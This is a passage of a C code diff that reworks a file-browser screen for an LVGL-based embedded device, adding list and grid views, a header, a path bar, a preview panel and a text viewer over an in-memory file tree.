lv_obj_set_scroll_snap_y(s_items_cont, LV_SCROLL_SNAP_START); - - int track_x = LCD_H_RES - OUTER_BORDER - SCROLL_TRACK_OFFSET_X; - s_track_y_start = items_y + SCROLL_TRACK_MARGIN; - s_track_h = items_h - SCROLL_TRACK_MARGIN * 2; - - static lv_point_precise_t s_track_pts[2]; - s_track_pts[0].x = 0; - s_track_pts[0].y = 0; - s_track_pts[1].x = 0; - s_track_pts[1].y = s_track_h; - - lv_obj_t *track = lv_line_create(s_screen_files); - lv_line_set_points(track, s_track_pts, 2); - lv_obj_set_pos(track, track_x, s_track_y_start); - lv_obj_set_style_line_color(track, current_theme.text_main, 0); - lv_obj_set_style_line_opa(track, LV_OPA_COVER, 0); - lv_obj_set_style_line_width(track, SCROLL_TRACK_WIDTH, 0); - lv_obj_set_style_line_dash_width(track, SCROLL_TRACK_DASH_W, 0); - lv_obj_set_style_line_dash_gap(track, SCROLL_TRACK_DASH_GAP, 0); - - static lv_image_dsc_t *s_sb_dsc = NULL; - if (s_sb_dsc == NULL) - s_sb_dsc = assets_get("/assets/icons/slide_bar_v.bin"); - - s_scroll_bar = lv_image_create(s_screen_files); - if (s_sb_dsc != NULL) - lv_image_set_src(s_scroll_bar, s_sb_dsc); - - lv_obj_set_pos(s_scroll_bar, track_x + SCROLL_BAR_OFFSET_X, s_track_y_start); - lv_obj_move_foreground(s_scroll_bar); - - strncpy(s_current_path, DEFAULT_PATH, sizeof(s_current_path) - 1); - s_current_path[sizeof(s_current_path) - 1] = '\0'; - s_selected = 0; - build_file_list(); - - if (s_nav_timer == NULL) - s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_INTERVAL_MS, NULL); - - lv_screen_load(s_screen_files); +static void style_item(lv_obj_t *o, uint8_t type, bool sel) { + lv_color_t c = color_of(type); + lv_obj_set_style_border_color(o, sel ? c : current_theme.border_inactive, 0); + lv_obj_set_style_border_opa(o, sel ? LV_OPA_COVER : LV_OPA_TRANSP, 0); + lv_obj_set_style_bg_color(o, sel ? lv_color_hex(COL_RAISE) : current_theme.bg_secondary, 0); + lv_obj_set_style_shadow_width(o, sel ? 14 : 0, 0); + lv_obj_set_style_shadow_color(o, c, 0); + lv_obj_set_style_shadow_spread(o, sel ? -3 : 0, 0); } -static void update_scroll_bar(void) { - if (s_scroll_bar == NULL || s_entry_count <= 1) +static void fill_peek(const file_node_t *e) { + if (!s_pk_name) return; + lv_color_t c = color_of(e->type); + lv_image_dsc_t *ic = assets_get(ICON_OF[e->type]); + if (ic && s_pk_icon) + lv_image_set_src(s_pk_icon, ic); + lv_label_set_text(s_pk_name, e->name); + lv_label_set_text(s_pk_tag, tag_of(e->type)); + lv_obj_set_style_text_color(s_pk_tag, c, 0); + lv_obj_set_style_border_color(s_pk_tag, c, 0); + + if (e->type == FT_DIR) { + int nd, nf; + dir_counts(e, &nd, &nf); + lv_label_set_text_fmt(s_pk_meta, "%d folders %d files", nd, nf); + char buf[96]; + int off = 0; + buf[0] = '\0'; + for (int i = 0; i < e->child_count && i < 4 && off < (int)sizeof(buf) - 1; i++) + off += snprintf(buf + off, sizeof(buf) - off, "%s%s", i ? ", " : "", e->children[i].name); + if (e->child_count == 0) + snprintf(buf, sizeof(buf), "(empty)"); + lv_label_set_text(s_pk_snip, buf); + } else { + lv_label_set_text(s_pk_meta, e->meta ? e->meta : ""); + lv_label_set_text(s_pk_snip, e->snip ? e->snip : ""); + } +} - int32_t pos = - s_track_y_start + (s_selected * (s_track_h - SCROLL_BAR_THUMB_H)) / (s_entry_count - 1); - - lv_anim_t a; - lv_anim_init(&a); - lv_anim_set_var(&a, s_scroll_bar); - lv_anim_set_values(&a, lv_obj_get_y(s_scroll_bar), pos); - lv_anim_set_duration(&a, SCROLL_ANIM_DURATION_MS); - lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); - lv_anim_set_exec_cb(&a, (lv_anim_exec_xcb_t)lv_obj_set_y); - lv_anim_start(&a); +static void fill_glabel(const file_node_t *e) { + if (!s_gl_name) + return; + lv_label_set_text(s_gl_name, e->name); + if (e->type == FT_DIR) { + int nd, nf; + dir_counts(e, &nd, &nf); + lv_label_set_text_fmt(s_gl_type, "%d items", nd + nf); + } else { + lv_label_set_text(s_gl_type, e->meta ? e->meta : tag_of(e->type)); + } + lv_obj_set_style_text_color(s_gl_type, color_of(e->type), 0); } -static void update_selection(void) { - for (int i = 0; i < s_entry_count; i++) { - if (i == s_selected) { - lv_obj_set_style_border_width(s_item_objs[i], ITEM_SELECTED_WIDTH, 0); - lv_obj_set_style_border_color(s_item_objs[i], COLOR_SEL_BORDER, 0); - } else { - lv_obj_set_style_border_width(s_item_objs[i], ITEM_BORDER_WIDTH, 0); - lv_obj_set_style_border_color(s_item_objs[i], COLOR_ITEM_BORDER, 0); +static void refresh_selection(void) { + const file_node_t *d = cur_dir(); + if (d->child_count == 0) + return; + if (s_sel < 0) + s_sel = 0; + if (s_sel >= d->child_count) + s_sel = d->child_count - 1; + + for (int i = 0; i < s_item_count; i++) + style_item(s_item[i], d->children[i].type, i == s_sel); + + if (s_view == VIEW_LIST) { + if (s_inner) { + int top = s_sel - 1; + int maxtop = d->child_count - LIST_VIS; + if (maxtop < 0) + maxtop = 0; + if (top < 0) + top = 0; + if (top > maxtop) + top = maxtop; + lv_obj_set_style_translate_y(s_inner, -top * ROW_STEP, 0); } + fill_peek(&d->children[s_sel]); + } else { + fill_glabel(&d->children[s_sel]); } +} - if (s_entry_count > 0 && s_item_objs[s_selected] != NULL) - lv_obj_scroll_to_view(s_item_objs[s_selected], LV_ANIM_ON); +static lv_obj_t *plain(lv_obj_t *parent) { + lv_obj_t *o = lv_obj_create(parent); + lv_obj_remove_flag(o, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(o, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_style_border_width(o, 0, 0); + lv_obj_set_style_bg_opa(o, LV_OPA_TRANSP, 0); + lv_obj_set_style_pad_all(o, 0, 0); + lv_obj_set_style_radius(o, 0, 0); + return o; +} - update_scroll_bar(); +static void flex_spacer(lv_obj_t *parent) { + lv_obj_t *sp = lv_obj_create(parent); + lv_obj_remove_style_all(sp); + lv_obj_set_height(sp, 1); + lv_obj_set_flex_grow(sp, 1); } -#pragma GCC diagnostic push -#pragma GCC diagnostic ignored "-Wformat-truncation" -static void scan_directory(void) { - s_entry_count = 0; +static void build_header(void) { + const file_node_t *d = cur_dir(); + lv_obj_t *hdr = lv_obj_create(s_screen); + lv_obj_remove_flag(hdr, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(hdr, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(hdr, LCD_H_RES, HEADER_H); + lv_obj_align(hdr, LV_ALIGN_TOP_LEFT, 0, 0); + lv_obj_set_style_radius(hdr, 0, 0); + lv_obj_set_style_bg_color(hdr, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_opa(hdr, LV_OPA_COVER, 0); + lv_obj_set_style_pad_hor(hdr, 8, 0); + lv_obj_set_style_pad_ver(hdr, 0, 0); + lv_obj_set_style_border_width(hdr, 2, 0); + lv_obj_set_style_border_color(hdr, current_theme.border_accent, 0); + lv_obj_set_style_border_side(hdr, LV_BORDER_SIDE_BOTTOM, 0); + lv_obj_set_flex_flow(hdr, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align(hdr, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + + lv_obj_t *chev = lv_label_create(hdr); + lv_label_set_text(chev, LV_SYMBOL_LEFT); + lv_obj_set_style_text_font(chev, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_color( + chev, s_depth > 0 ? current_theme.border_accent : current_theme.border_inactive, 0); + + lv_obj_t *name = lv_label_create(hdr); + lv_label_set_text(name, d->name); + lv_label_set_long_mode(name, LV_LABEL_LONG_DOT); + lv_obj_set_style_text_font(name, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_color(name, current_theme.border_accent, 0); + lv_obj_set_style_pad_left(name, 6, 0); + lv_obj_set_flex_grow(name, 1); + + lv_obj_t *vw = lv_label_create(hdr); + lv_label_set_text(vw, s_view == VIEW_LIST ? "LIST" : "GRID"); + lv_obj_set_style_text_font(vw, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(vw, current_theme.border_accent, 0); + lv_obj_set_style_bg_color(vw, current_theme.bg_primary, 0); + lv_obj_set_style_bg_opa(vw, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(vw, 1, 0); + lv_obj_set_style_border_color(vw, current_theme.border_interface, 0); + lv_obj_set_style_radius(vw, 6, 0); + lv_obj_set_style_pad_hor(vw, 6, 0); + lv_obj_set_style_pad_ver(vw, 1, 0); +} - DIR *dir = opendir(s_current_path); - if (dir == NULL) { - ESP_LOGE(TAG, "Failed to open: %s", s_current_path); - return; +static void build_pathbar(void) { + lv_obj_t *bar = lv_obj_create(s_screen); + lv_obj_remove_flag(bar, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(bar, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(bar, LCD_H_RES, PATH_H); + lv_obj_align(bar, LV_ALIGN_TOP_LEFT, 0, HEADER_H); + lv_obj_set_style_radius(bar, 0, 0); + lv_obj_set_style_bg_color(bar, lv_color_hex(0x0A0710), 0); + lv_obj_set_style_bg_opa(bar, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(bar, 0, 0); + lv_obj_set_style_pad_hor(bar, 10, 0); + lv_obj_set_style_pad_ver(bar, 0, 0); + lv_obj_set_flex_flow(bar, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align(bar, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + + char p[96]; + int off = snprintf(p, sizeof(p), "root"); + const file_node_t *n = &ROOT; + for (int i = 0; i < s_depth && off < (int)sizeof(p) - 1; i++) { + n = &n->children[s_path[i]]; + off += snprintf(p + off, sizeof(p) - off, " / %s", n->name); } + lv_obj_t *lbl = lv_label_create(bar); + lv_label_set_text(lbl, p); + lv_label_set_long_mode(lbl, LV_LABEL_LONG_DOT); + lv_obj_set_style_text_font(lbl, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(lbl, lv_color_hex(COL_DIM), 0); + lv_obj_set_flex_grow(lbl, 1); + + lv_obj_t *dots = plain(bar); + lv_obj_set_size(dots, LV_SIZE_CONTENT, LV_SIZE_CONTENT); + lv_obj_set_flex_flow(dots, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align(dots, LV_FLEX_ALIGN_END, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + lv_obj_set_style_pad_column(dots, 3, 0); + for (int k = 0; k < 4; k++) { + lv_obj_t *dot = plain(dots); + lv_obj_set_size(dot, 5, 5); + lv_obj_set_style_radius(dot, LV_RADIUS_CIRCLE, 0); + lv_obj_set_style_bg_opa(dot, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color( + dot, k < s_depth ? current_theme.border_accent : current_theme.border_inactive, 0); + } +} - struct dirent *ent; - while ((ent = readdir(dir)) != NULL && s_entry_count < MAX_ENTRIES) { - if (ent->d_name[0] == '.') - continue; - - strncpy(s_entry_names[s_entry_count], ent->d_name, ENTRY_NAME_MAX_LEN - 1); - s_entry_names[s_entry_count][ENTRY_NAME_MAX_LEN - 1] = '\0'; - - char full[FULL_PATH_MAX_LEN]; - snprintf(full, sizeof(full), "%s/%s", s_current_path, ent->d_name); +static lv_obj_t *type_icon(lv_obj_t *parent, uint8_t type, int cell) { + lv_image_dsc_t *ic = assets_get(ICON_OF[type]); + if (!ic) + return NULL; + lv_obj_t *img = lv_image_create(parent); + lv_image_set_src(img, ic); + lv_obj_set_size(img, cell, cell); + lv_image_set_inner_align(img, LV_IMAGE_ALIGN_CONTAIN); + return img; +} - struct stat st; - s_entry_is_dir[s_entry_count] = (stat(full, &st) == 0 && S_ISDIR(st.st_mode)); - s_entry_count++; +static lv_obj_t *make_row(lv_obj_t *parent, const file_node_t *e, lv_obj_t **name_out) { + lv_obj_t *row = lv_obj_create(parent); + lv_obj_remove_flag(row, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(row, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(row, lv_pct(100), ROW_H); + lv_obj_set_style_radius(row, 8, 0); + lv_obj_set_style_bg_opa(row, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(row, 2, 0); + lv_obj_set_style_pad_all(row, 0, 0); + + lv_obj_t *ic = type_icon(row, e->type, 20); + if (ic) + lv_obj_align(ic, LV_ALIGN_LEFT_MID, 8, 0); + + lv_obj_t *name = lv_label_create(row); + lv_obj_set_width(name, e->type == FT_DIR ? ROW_NAME_W_DIR : ROW_NAME_W_FILE); + lv_label_set_long_mode(name, LV_LABEL_LONG_SCROLL_CIRCULAR); + lv_label_set_text(name, e->name); + lv_obj_set_style_text_font(name, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_color( + name, e->type == FT_DIR ? lv_color_hex(COL_DIRNM) : current_theme.text_main, 0); + lv_obj_align(name, LV_ALIGN_LEFT_MID, ROW_NAME_X, 0); + if (name_out) + *name_out = name; + + if (e->type == FT_DIR) { + int nd, nf; + dir_counts(e, &nd, &nf); + lv_obj_t *chev = lv_label_create(row); + lv_label_set_text(chev, LV_SYMBOL_RIGHT); + lv_obj_set_style_text_font(chev, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(chev, color_of(FT_DIR), 0); + lv_obj_align(chev, LV_ALIGN_RIGHT_MID, -8, 0); + lv_obj_t *cnt = lv_label_create(row); + lv_label_set_text_fmt(cnt, "%d", nd + nf); + lv_obj_set_style_text_font(cnt, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(cnt, lv_color_hex(COL_DIM), 0); + lv_obj_align(cnt, LV_ALIGN_RIGHT_MID, -24, 0); } - - closedir(dir); + return row; } -#pragma GCC diagnostic pop - -#pragma GCC diagnostic push -#pragma GCC diagnostic ignored "-Wformat-truncation" -static void open_file_viewer(void) { - char full_path[FULL_PATH_MAX_LEN]; - snprintf(full_path, sizeof(full_path), "%s/%s", s_current_path, s_entry_names[s_selected]); - - s_viewer = text_viewer_create(s_screen_files, s_entry_names[s_selected]); - text_viewer_load_file(&s_viewer, full_path); - lv_obj_move_foreground(s_viewer.screen); - s_is_viewing_file = true; + +static void build_peek(void) { + lv_obj_t *pk = lv_obj_create(s_screen); + lv_obj_remove_flag(pk, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(pk, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(pk, LCD_H_RES - 16, PEEK_H); + lv_obj_align(pk, LV_ALIGN_BOTTOM_MID, 0, -(FOOTER_H + 4)); + lv_obj_set_style_radius(pk, 11, 0); + lv_obj_set_style_bg_color(pk, lv_color_hex(COL_RAISE), 0); + lv_obj_set_style_bg_grad_color(pk, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_grad_dir(pk, LV_GRAD_DIR_VER, 0); + lv_obj_set_style_bg_opa(pk, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(pk, 1, 0); + lv_obj_set_style_border_color(pk, current_theme.border_inactive, 0); + lv_obj_set_style_pad_hor(pk, 10, 0); + lv_obj_set_style_pad_ver(pk, 6, 0); + lv_obj_set_flex_flow(pk, LV_FLEX_FLOW_COLUMN); + lv_obj_set_flex_align(pk, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_START); + lv_obj_set_style_pad_row(pk, 3, 0); + + lv_obj_t *hrow = plain(pk); + lv_obj_set_size(hrow, lv_pct(100), LV_SIZE_CONTENT); + lv_obj_set_flex_flow(hrow, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align(hrow, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + lv_obj_set_style_pad_column(hrow, 7, 0); + + s_pk_icon = type_icon(hrow, FT_NFC, 16); + + s_pk_name = lv_label_create(hrow); + lv_obj_set_width(s_pk_name, 118); + lv_label_set_long_mode(s_pk_name, LV_LABEL_LONG_SCROLL_CIRCULAR); + lv_obj_set_style_text_font(s_pk_name, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_color(s_pk_name, current_theme.text_main, 0); + + flex_spacer(hrow); + + s_pk_tag = lv_label_create(hrow); + lv_obj_set_style_text_font(s_pk_tag, &lv_font_montserrat_12, 0); + lv_obj_set_style_border_width(s_pk_tag, 1, 0); + lv_obj_set_style_radius(s_pk_tag, 5, 0); + lv_obj_set_style_pad_hor(s_pk_tag, 4, 0); + + s_pk_meta = lv_label_create(pk); + lv_label_set_long_mode(s_pk_meta, LV_LABEL_LONG_DOT); + lv_obj_set_width(s_pk_meta, lv_pct(100)); + lv_obj_set_style_text_font(s_pk_meta, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(s_pk_meta, lv_color_hex(COL_DIM), 0); + + s_pk_snip = lv_label_create(pk); + lv_label_set_long_mode(s_pk_snip, LV_LABEL_LONG_DOT); + lv_obj_set_width(s_pk_snip, lv_pct(100)); + lv_obj_set_style_text_font(s_pk_snip, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(s_pk_snip, current_theme.text_main, 0); + lv_obj_set_style_text_opa(s_pk_snip, LV_OPA_60, 0); } -#pragma GCC diagnostic pop -static void close_file_viewer(void) { - if (s_viewer.screen != NULL) { - lv_obj_del(s_viewer.screen); - s_viewer.screen = NULL; +static void build_list(void) { + const file_node_t *d = cur_dir(); + int list_h = LCD_V_RES - CONTENT_Y - FOOTER_H - PEEK_H - 8; + + lv_obj_t *wrap = lv_obj_create(s_screen); + lv_obj_remove_flag(wrap, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(wrap, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(wrap, LCD_H_RES, list_h); + lv_obj_align(wrap, LV_ALIGN_TOP_LEFT, 0, CONTENT_Y); + lv_obj_set_style_bg_opa(wrap, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(wrap, 0, 0); + lv_obj_set_style_pad_hor(wrap, 8, 0); + lv_obj_set_style_pad_ver(wrap, 4, 0); + lv_obj_set_style_clip_corner(wrap, true, 0); + + s_inner = plain(wrap); + lv_obj_set_width(s_inner, lv_pct(100)); + lv_obj_set_height(s_inner, LV_SIZE_CONTENT); + lv_obj_align(s_inner, LV_ALIGN_TOP_MID, 0, 0); + lv_obj_set_flex_flow(s_inner, LV_FLEX_FLOW_COLUMN); + lv_obj_set_style_pad_row(s_inner, ROW_GAP, 0); + + s_item_count = 0; + for (int i = 0; i < d->child_count && i < MAX_ENTRIES; i++) { + s_item[i] = make_row(s_inner, &d->children[i], &s_item_name[i]); + s_item_count++; } - s_is_viewing_file = false; } -#pragma GCC diagnostic push -#pragma GCC diagnostic ignored "-Wformat-truncation" -static void navigate_into(void) { - if (s_entry_count == 0) - return; +static lv_obj_t *make_tile(lv_obj_t *parent, const file_node_t *e, lv_obj_t **name_out) { + lv_obj_t *tile = lv_obj_create(parent); + lv_obj_remove_flag(tile, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(tile, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(tile, TILE_W, TILE_H); + lv_obj_set_style_radius(tile, 11, 0); + lv_obj_set_style_bg_opa(tile, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(tile, 2, 0); + lv_obj_set_style_pad_all(tile, 4, 0); + lv_obj_set_flex_flow(tile, LV_FLEX_FLOW_COLUMN); + lv_obj_set_flex_align(tile, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + lv_obj_set_style_pad_row(tile, 4, 0); + + type_icon(tile, e->type, 28); + + lv_obj_t *nm = lv_label_create(tile); + lv_obj_set_width(nm, TILE_W - 12); + lv_label_set_long_mode(nm, LV_LABEL_LONG_SCROLL_CIRCULAR); + lv_label_set_text(nm, e->name); + lv_obj_set_style_text_align(nm, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_set_style_text_font(nm, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color( + nm, e->type == FT_DIR ? lv_color_hex(COL_DIRNM) : current_theme.text_main, 0); + if (name_out) + *name_out = nm; + + if (e->type == FT_DIR) { + int nd, nf; + dir_counts(e, &nd, &nf); + lv_obj_t *badge = lv_label_create(tile); + lv_obj_add_flag(badge, LV_OBJ_FLAG_IGNORE_LAYOUT); + lv_label_set_text_fmt(badge, "%d", nd + nf); + lv_obj_set_style_text_font(badge, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(badge, color_of(FT_DIR), 0); + lv_obj_align(badge, LV_ALIGN_TOP_RIGHT, -2, 1); + } + return tile; +} - if (!s_entry_is_dir[s_selected]) { - open_file_viewer(); - return; +static void build_grid(void) { + const file_node_t *d = cur_dir(); + int grid_h = LCD_V_RES - CONTENT_Y - FOOTER_H - GLABEL_H; + + lv_obj_t *g = lv_obj_create(s_screen); + lv_obj_remove_flag(g, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(g, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(g, LCD_H_RES, grid_h); + lv_obj_align(g, LV_ALIGN_TOP_LEFT, 0, CONTENT_Y); + lv_obj_set_style_bg_opa(g, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(g, 0, 0); + lv_obj_set_style_pad_all(g, 8, 0); + lv_obj_set_style_clip_corner(g, true, 0); + lv_obj_set_flex_flow(g, LV_FLEX_FLOW_ROW_WRAP); + lv_obj_set_flex_align(g, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_START); + lv_obj_set_style_pad_row(g, 6, 0); + lv_obj_set_style_pad_column(g, 6, 0); + + s_item_count = 0; + for (int i = 0; i < d->child_count && i < MAX_ENTRIES; i++) { + s_item[i] = make_tile(g, &d->children[i], &s_item_name[i]); + s_item_count++; } - char new_path[PATH_MAX_LEN]; - snprintf(new_path, sizeof(new_path), "%s/%s", s_current_path, s_entry_names[s_selected]); - strncpy(s_current_path, new_path, sizeof(s_current_path) - 1); - s_current_path[sizeof(s_current_path) - 1] = '\0'; - s_selected = 0; - build_file_list(); + lv_obj_t *gl = lv_obj_create(s_screen); + lv_obj_remove_flag(gl, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(gl, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(gl, LCD_H_RES, GLABEL_H); + lv_obj_align(gl, LV_ALIGN_BOTTOM_LEFT, 0, -FOOTER_H); + lv_obj_set_style_radius(gl, 0, 0); + lv_obj_set_style_bg_opa(gl, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(gl, 1, 0); + lv_obj_set_style_border_color(gl, current_theme.border_inactive, 0); + lv_obj_set_style_border_side(gl, LV_BORDER_SIDE_TOP, 0); + lv_obj_set_style_pad_hor(gl, 12, 0); + lv_obj_set_style_pad_ver(gl, 0, 0); + lv_obj_set_flex_flow(gl, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align(gl, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + + s_gl_name = lv_label_create(gl); + lv_obj_set_width(s_gl_name, 128); + lv_label_set_long_mode(s_gl_name, LV_LABEL_LONG_SCROLL_CIRCULAR); + lv_obj_set_style_text_font(s_gl_name, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_color(s_gl_name, current_theme.text_main, 0); + + flex_spacer(gl); + + s_gl_type = lv_label_create(gl); + lv_obj_set_style_text_font(s_gl_type, &lv_font_montserrat_12, 0); + lv_obj_set_style_pad_left(s_gl_type, 8, 0); } -#pragma GCC diagnostic pop -static void navigate_back(void) { - char *last = strrchr(s_current_path, '/'); - if (last == NULL || last == s_current_path) - return; +static void build_footer(const char *hint) { + lv_obj_t *ft = lv_obj_create(s_screen); + lv_obj_remove_flag(ft, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(ft, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(ft, LCD_H_RES, FOOTER_H); + lv_obj_align(ft, LV_ALIGN_BOTTOM_LEFT, 0, 0); + lv_obj_set_style_radius(ft, 0, 0); + lv_obj_set_style_bg_color(ft, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_opa(ft, LV_OPA_COVER, 0); + lv_obj_set_style_pad_all(ft, 0, 0); + lv_obj_set_style_border_width(ft, 2, 0); + lv_obj_set_style_border_color(ft, current_theme.border_interface, 0); + lv_obj_set_style_border_side(ft, LV_BORDER_SIDE_TOP, 0); + + lv_obj_t *lbl = lv_label_create(ft); + lv_label_set_text(lbl, hint); + lv_obj_set_style_text_color(lbl, current_theme.text_main, 0); + lv_obj_set_style_text_opa(lbl, LV_OPA_70, 0); + lv_obj_set_style_text_font(lbl, &lv_font_montserrat_12, 0); + lv_obj_center(lbl); +} - *last = '\0'; - s_selected = 0; - build_file_list(); +static void build_viewer_header(const file_node_t *e, int lines) { + lv_obj_t *hdr = lv_obj_create(s_screen); + lv_obj_remove_flag(hdr, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(hdr, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(hdr, LCD_H_RES, HEADER_H); + lv_obj_align(hdr, LV_ALIGN_TOP_LEFT, 0, 0); + lv_obj_set_style_radius(hdr, 0, 0); + lv_obj_set_style_bg_color(hdr, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_opa(hdr, LV_OPA_COVER, 0); + lv_obj_set_style_pad_hor(hdr, 8, 0); + lv_obj_set_style_pad_ver(hdr, 0, 0); + lv_obj_set_style_border_width(hdr, 2, 0); + lv_obj_set_style_border_color(hdr, current_theme.border_accent, 0); + lv_obj_set_style_border_side(hdr, LV_BORDER_SIDE_BOTTOM, 0); + lv_obj_set_flex_flow(hdr, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align(hdr, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + + type_icon(hdr, e->type, 20); + + lv_obj_t *name = lv_label_create(hdr); + lv_obj_set_width(name, 135); + lv_label_set_long_mode(name, LV_LABEL_LONG_SCROLL_CIRCULAR); + lv_label_set_text(name, e->name); + lv_obj_set_style_text_font(name, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_color(name, current_theme.border_accent, 0); + lv_obj_set_style_pad_left(name, 6, 0); + + flex_spacer(hdr); + + lv_obj_t *cnt = lv_label_create(hdr); + lv_label_set_text_fmt(cnt, "%d ln", lines); + lv_obj_set_style_text_font(cnt, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(cnt, lv_color_hex(COL_DIM), 0); } -static void build_file_list(void) { - if (s_items_cont != NULL) - lv_obj_clean(s_items_cont); - - scan_directory(); - - if (s_path_label != NULL) - lv_label_set_text(s_path_label, s_current_path); - - static lv_image_dsc_t *s_folder_dsc = NULL; - static lv_image_dsc_t *s_file_dsc = NULL; - - if (s_folder_dsc == NULL) - s_folder_dsc = assets_get("/assets/frames/folder_frame_0.bin"); - if (s_file_dsc == NULL) - s_file_dsc = assets_get("/assets/frames/file_frame_0.bin"); - - for (int i = 0; i < s_entry_count; i++) { - lv_obj_t *item = lv_obj_create(s_items_cont); - lv_obj_set_size(item, ITEM_W, ITEM_H); - lv_obj_remove_flag(item, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_radius(item, ITEM_RADIUS, 0); - lv_obj_set_style_bg_opa(item, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(item, COLOR_GRAD_LEFT, 0); - lv_obj_set_style_bg_grad_color(item, COLOR_GRAD_RIGHT, 0); - lv_obj_set_style_bg_grad_dir(item, LV_GRAD_DIR_HOR, 0); - lv_obj_set_style_border_width(item, ITEM_BORDER_WIDTH, 0); - lv_obj_set_style_border_color(item, COLOR_ITEM_BORDER, 0); - lv_obj_set_style_pad_left(item, ITEM_PAD_H, 0); - lv_obj_set_style_pad_right(item, ITEM_PAD_H, 0); - lv_obj_set_flex_flow(item, LV_FLEX_FLOW_ROW); - lv_obj_set_flex_align(item, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); - lv_obj_set_style_pad_column(item, ITEM_PAD_COL, 0); - - lv_image_dsc_t *dsc = s_entry_is_dir[i] ? s_folder_dsc : s_file_dsc; - if (dsc != NULL) { - lv_obj_t *icon = lv_image_create(item); - lv_image_set_src(icon, dsc); - lv_image_set_scale(icon, ITEM_ICON_SCALE); - } +static char s_vbuf[512]; +static char s_gbuf[256]; + +static void build_viewer(void) { + const file_node_t *e = &cur_dir()->children[s_sel]; + const char *content = e->content ? e->content : ""; + + int n = 0; + for (const char *p = content; *p && n < (int)sizeof(s_vbuf) - 1; p++) + s_vbuf[n++] = *p; + while (n > 0 && (s_vbuf[n - 1] == '\n' || s_vbuf[n - 1] == '\r')) + n--; + s_vbuf[n] = '\0'; + int lines = 1; + for (int i = 0; i < n; i++) + if (s_vbuf[i] == '\n') + lines++; + + int g = 0; + for (int i = 1; i <= lines && g < (int)sizeof(s_gbuf) - 16; i++) + g += snprintf(s_gbuf + g, sizeof(s_gbuf) - g, "%d\n", i); + if (g > 0 && s_gbuf[g - 1] == '\n') + s_gbuf[g - 1] = '\0'; + + build_viewer_header(e, lines); + + lv_obj_t *body = lv_obj_create(s_screen); + lv_obj_set_size(body, LCD_H_RES, LCD_V_RES - HEADER_H - FOOTER_H); + lv_obj_align(body, 